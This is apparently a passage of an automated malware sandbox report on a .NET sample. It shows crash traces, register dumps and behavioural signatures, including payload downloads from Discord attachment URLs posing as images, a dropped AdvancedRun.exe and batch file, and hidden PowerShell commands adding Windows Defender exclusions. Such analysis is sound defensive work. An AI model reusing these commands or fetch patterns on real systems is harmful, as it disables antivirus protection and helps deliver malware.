CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72891dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72891e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72891f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7289416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7376f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xe0434f4e
exception.offset: 46887
exception.address: 0x76a7b727
registers.esp: 3730308
registers.edi: 0
registers.eax: 3730308
registers.ebp: 3730388
registers.edx: 0
registers.ebx: 6807048
registers.esi: 6121632
registers.ecx: 1803757052

__exception__

Oct. 22, 2021, 9:02 a.m.

stacktrace:

CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x728f1194
LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x727c2ba1
mscorlib+0x2eee49 @ 0x6ff2ee49
mscorlib+0x2eed37 @ 0x6ff2ed37
mscorlib+0x2cd9c4 @ 0x6ff0d9c4
0x6d00af
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72752e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728074ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72807610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72891dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72891e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72891f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7289416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7376f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xe0434f4e
exception.offset: 46887
exception.address: 0x76a7b727
registers.esp: 3730288
registers.edi: 0
registers.eax: 3730288
registers.ebp: 3730368
registers.edx: 0
registers.ebx: 6807048
registers.esi: 6121632
registers.ecx: 1803757028

__exception__

Oct. 22, 2021, 9:02 a.m.

stacktrace:

0x6d206d
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x727c1838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x727c1737
mscorlib+0x2d3711 @ 0x6ff13711
mscorlib+0x308f2d @ 0x6ff48f2d
mscorlib+0x2cb060 @ 0x6ff0b060
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x727c1838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x727c1737
mscorlib+0x2d36ad @ 0x6ff136ad
mscorlib+0x308f2d @ 0x6ff48f2d
microsoft+0x50c17 @ 0x6c5d0c17
microsoft+0x3f33f @ 0x6c5bf33f
microsoft+0x3edf8 @ 0x6c5bedf8
microsoft+0x3e3b9 @ 0x6c5be3b9
0x6d09a7
0x6d070d
0x6d00af
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72752e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728074ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72807610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72891dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72891e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72891f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7289416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7376f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 50 33 d2 52 50 e8 08 5b 8f 6f 50 68 00 30
exception.instruction: mov eax, dword ptr [eax + 0x50]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6d2be8
registers.esp: 3727188
registers.edi: 46733592
registers.eax: 46550064
registers.ebp: 3728100
registers.edx: 109524
registers.ebx: 3728772
registers.esi: 1868
registers.ecx: 0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	GET method with no useragent header				suspicious_request	GET https://cdn.discordapp.com/attachments/893177342426509335/900758855192023070/FC381D02.jpg
suspicious_features	GET method with no useragent header				suspicious_request	GET https://cdn.discordapp.com/attachments/893177342426509335/900758856395812964/5F383AF3.jpg

Performs some HTTP requests (2 events)

request	GET https://cdn.discordapp.com/attachments/893177342426509335/900758855192023070/FC381D02.jpg
request	GET https://cdn.discordapp.com/attachments/893177342426509335/900758856395812964/5F383AF3.jpg

Allocates read-write-execute memory (usually to unpack itself) (50 out of 571 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 2228224 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72741000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72742000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02370000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02870000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6acd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0275a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6acd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02752000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02762000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02763000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02764000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0275b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02765000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02766000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 22, 2021, 9:02 a.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\test.bat
file	C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\AdvancedRun.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (4 events)

cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\new.exe" -Force
cmdline	powershell Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\쳶쳱촵쳴쳰촴촡촁쳲촉쳸촵촥촤촬\svchost.exe" -Force
cmdline	powershell Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\new.exe" -Force
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\쳶쳱촵쳴쳰촴촡촁쳲촉쳸촵촥촤촬\svchost.exe" -Force

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\AdvancedRun.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\AdvancedRun.exe

A process created a hidden window (5 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Oct. 22, 2021, 9:02 a.m.	show_type: 0 filepath_r: powershell parameters: Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\쳶쳱촵쳴쳰촴촡촁쳲촉쳸촵촥촤촬\svchost.exe" -Force filepath: powershell	1	1
ShellExecuteExW Oct. 22, 2021, 9:02 a.m.	show_type: 0 filepath_r: powershell parameters: Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\new.exe" -Force filepath: powershell	1	1
ShellExecuteExW Oct. 22, 2021, 9:02 a.m.	show_type: 0 filepath_r: powershell parameters: Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\쳶쳱촵쳴쳰촴촡촁쳲촉쳸촵촥촤촬\svchost.exe" -Force filepath: powershell	1	1
ShellExecuteExW Oct. 22, 2021, 9:02 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\AdvancedRun.exe parameters: /EXEFilename "C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run filepath: C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\AdvancedRun.exe	1	1
ShellExecuteExW Oct. 22, 2021, 9:02 a.m.	show_type: 0 filepath_r: powershell parameters: Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\new.exe" -Force filepath: powershell	1	1

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (10 events)

Time & API	Arguments	Status	Return
Process32NextW Oct. 22, 2021, 9:02 a.m.	snapshot_handle: 0x00000108 process_name: taskhost.exe process_identifier: 3052	1	1
Process32NextW Oct. 22, 2021, 9:02 a.m.	snapshot_handle: 0x00000108 process_name: new.exe process_identifier: 2776	1	1
Process32NextW Oct. 22, 2021, 9:02 a.m.	snapshot_handle: 0x00000108 process_name: powershell.exe process_identifier: 2252	1	1
Process32NextW Oct. 22, 2021, 9:02 a.m.	snapshot_handle: 0x00000108 process_name: conhost.exe process_identifier: 1536	1	1
Process32NextW Oct. 22, 2021, 9:02 a.m.	snapshot_handle: 0x00000108 process_name: powershell.exe process_identifier: 2276	1	1
Process32NextW Oct. 22, 2021, 9:02 a.m.	snapshot_handle: 0x00000108 process_name: conhost.exe process_identifier: 2988	1	1
Process32NextW Oct. 22, 2021, 9:02 a.m.	snapshot_handle: 0x00000108 process_name: powershell.exe process_identifier: 2856	1	1
Process32NextW Oct. 22, 2021, 9:02 a.m.	snapshot_handle: 0x00000108 process_name: conhost.exe process_identifier: 2664	1	1
Process32NextW Oct. 22, 2021, 9:02 a.m.	snapshot_handle: 0x00000108 process_name: AdvancedRun.exe process_identifier: 2840	1	1
Process32NextW Oct. 22, 2021, 9:02 a.m.	snapshot_handle: 0x00000108 process_name: TrustedInstaller.exe process_identifier: 1340	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Oct. 22, 2021, 9:02 a.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (6 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Oct. 22, 2021, 9:02 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Oct. 22, 2021, 9:02 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Oct. 22, 2021, 9:02 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Oct. 22, 2021, 9:02 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Oct. 22, 2021, 9:02 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Oct. 22, 2021, 9:02 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\AdvancedRun.exe" /EXEFilename "C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
